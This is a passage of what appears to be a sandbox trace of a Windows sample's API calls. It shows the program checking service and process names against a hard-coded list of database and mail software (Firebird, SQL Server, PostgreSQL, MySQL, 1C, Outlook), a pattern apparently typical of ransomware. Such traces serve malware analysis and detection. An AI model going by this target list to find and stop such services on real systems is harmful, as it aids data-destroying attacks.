(lpString="DcomLaunch") returned 10 [0056.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0056.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0056.751] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0056.751] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0056.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0056.754] lstrlenW (lpString="Dhcp") returned 4 [0056.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0056.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0056.755] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0056.758] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0056.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0056.758] lstrlenW (lpString="Dnscache") returned 8 [0056.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0056.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0056.761] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0056.762] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0056.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0056.763] lstrlenW (lpString="DPS") returned 3 [0056.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0056.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0056.764] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0056.764] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0056.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0056.765] lstrlenW (lpString="eventlog") returned 8 [0056.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0056.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0056.766] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0056.767] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0056.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0056.770] lstrlenW (lpString="EventSystem") returned 11 [0056.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0056.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0056.772] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0056.772] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0056.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0056.774] lstrlenW (lpString="gpsvc") returned 5 [0056.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0056.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0056.778] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0056.778] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0056.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0056.779] lstrlenW (lpString="iphlpsvc") returned 8 [0056.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0056.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0056.781] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0056.781] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0056.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0056.781] lstrlenW (lpString="LanmanServer") returned 12 [0056.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0056.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0056.782] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0056.783] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0056.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0056.786] lstrlenW (lpString="LanmanWorkstation") returned 17 [0056.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0056.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0056.787] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0056.788] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0056.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0056.789] lstrlenW (lpString="lmhosts") returned 7 [0056.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0056.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0056.790] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0056.791] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0056.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0056.793] lstrlenW (lpString="MMCSS") returned 5 [0056.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0056.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0056.794] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0056.795] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0056.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0056.795] lstrlenW (lpString="MpsSvc") returned 6 [0056.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0056.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0056.796] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0056.798] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0056.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0056.801] lstrlenW (lpString="Netman") returned 6 [0056.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0056.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0056.802] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0056.803] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0056.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0056.803] lstrlenW (lpString="netprofm") returned 8 [0056.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0056.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0056.805] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0056.805] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0056.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0056.806] lstrlenW (lpString="NlaSvc") returned 6 [0056.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0056.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0056.806] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0056.807] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0056.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0056.808] lstrlenW (lpString="nsi") returned 3 [0056.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0056.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0056.809] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0056.810] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0056.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0056.812] lstrlenW (lpString="PcaSvc") returned 6 [0056.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0056.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0056.814] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0056.814] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0056.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0056.816] lstrlenW (lpString="PlugPlay") returned 8 [0056.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0056.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0056.818] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0056.819] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0056.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0056.820] lstrlenW (lpString="Power") returned 5 [0056.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0056.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0056.820] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0056.821] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0056.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0056.822] lstrlenW (lpString="ProfSvc") returned 7 [0056.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0056.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0056.824] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0056.825] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0056.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0056.827] lstrlenW (lpString="RpcEptMapper") returned 12 [0056.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0056.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0056.827] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0056.827] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0056.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0056.829] lstrlenW (lpString="RpcSs") returned 5 [0056.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0056.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0056.831] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0056.832] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0056.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0056.832] lstrlenW (lpString="SamSs") returned 5 [0056.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0056.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0056.834] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0056.834] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0056.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0056.834] lstrlenW (lpString="Schedule") returned 8 [0056.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0056.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0056.835] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0056.836] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0056.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0056.837] lstrlenW (lpString="SENS") returned 4 [0056.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0056.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0056.844] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0056.845] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0056.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0056.847] lstrlenW (lpString="ShellHWDetection") returned 16 [0056.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0056.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0056.848] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0056.848] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0056.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0056.850] lstrlenW (lpString="Spooler") returned 7 [0056.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0056.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0056.850] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0056.851] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0056.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0056.851] lstrlenW (lpString="swprv") returned 5 [0056.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0056.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0056.853] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0056.853] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0056.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0056.854] lstrlenW (lpString="SysMain") returned 7 [0056.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0056.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0056.856] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0056.856] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0056.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0056.857] lstrlenW (lpString="Themes") returned 6 [0056.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0056.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0056.858] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0056.858] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0056.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0056.860] lstrlenW (lpString="TrkWks") returned 6 [0056.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0056.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0056.861] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0056.861] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0056.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0056.863] lstrlenW (lpString="UxSms") returned 5 [0056.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0056.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0056.864] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0056.864] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0056.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0056.865] lstrlenW (lpString="VSS") returned 3 [0056.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0056.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0056.868] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0056.869] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0056.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0056.869] lstrlenW (lpString="WdiServiceHost") returned 14 [0056.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0056.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0056.870] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0056.871] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0056.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0056.872] lstrlenW (lpString="WdiSystemHost") returned 13 [0056.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0056.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0056.874] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0056.874] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0056.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0056.875] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0056.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0056.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0056.876] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0056.876] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0056.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0056.877] lstrlenW (lpString="Winmgmt") returned 7 [0057.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0057.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0057.233] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0057.233] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0057.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0057.233] lstrlenW (lpString="WPDBusEnum") returned 10 [0057.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0057.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0057.233] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0057.233] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0057.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0057.233] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x40838f0 | out: hHeap=0x4b0000) returned 1 [0057.233] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204 [0057.235] Process32FirstW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0057.236] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0057.237] lstrlenW (lpString="System") returned 6 [0057.237] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0057.237] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0057.237] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0057.237] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0057.237] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0057.237] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0057.237] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0057.237] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0057.237] lstrlenW (lpString="smss.exe") returned 8 [0057.238] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0057.238] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0057.238] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0057.238] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0057.238] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0057.238] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0057.238] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0057.238] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0057.238] lstrlenW (lpString="csrss.exe") returned 9 [0057.238] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0057.238] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0057.238] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0057.238] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0057.238] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0057.238] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0057.239] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0057.239] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0057.239] lstrlenW (lpString="wininit.exe") returned 11 [0057.239] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0057.239] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0057.239] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0057.239] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0057.240] lstrlenW (lpString="csrss.exe") returned 9 [0057.240] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0057.241] lstrlenW (lpString="winlogon.exe") returned 12 [0057.241] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0057.241] lstrlenW (lpString="services.exe") returned 12 [0057.241] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0057.242] lstrlenW (lpString="lsass.exe") returned 9 [0057.242] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0057.243] lstrlenW (lpString="lsm.exe") returned 7 [0057.243] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.243] lstrlenW (lpString="svchost.exe") returned 11 [0057.243] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.244] lstrlenW (lpString="svchost.exe") returned 11 [0057.244] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.245] lstrlenW (lpString="svchost.exe") returned 11 [0057.245] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.245] lstrlenW (lpString="svchost.exe") returned 11 [0057.245] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.246] lstrlenW (lpString="svchost.exe") returned 11 [0057.246] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0057.246] lstrlenW (lpString="audiodg.exe") returned 11 [0057.246] Process32NextW (in: hSnapshot=0x204, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.247] lstrlenW (lpString="svchost.exe") returned 11 [0057.247] Process32NextW 